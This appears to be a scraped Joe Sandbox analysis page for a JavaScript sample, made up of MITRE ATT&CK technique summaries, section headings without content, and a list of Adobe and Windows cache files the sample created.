Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 10965191911914222758.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\311a245f-8507-4c1d-94bf-a8003d2fb8de.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.7044

Windows Analysis Report
10965191911914222758.js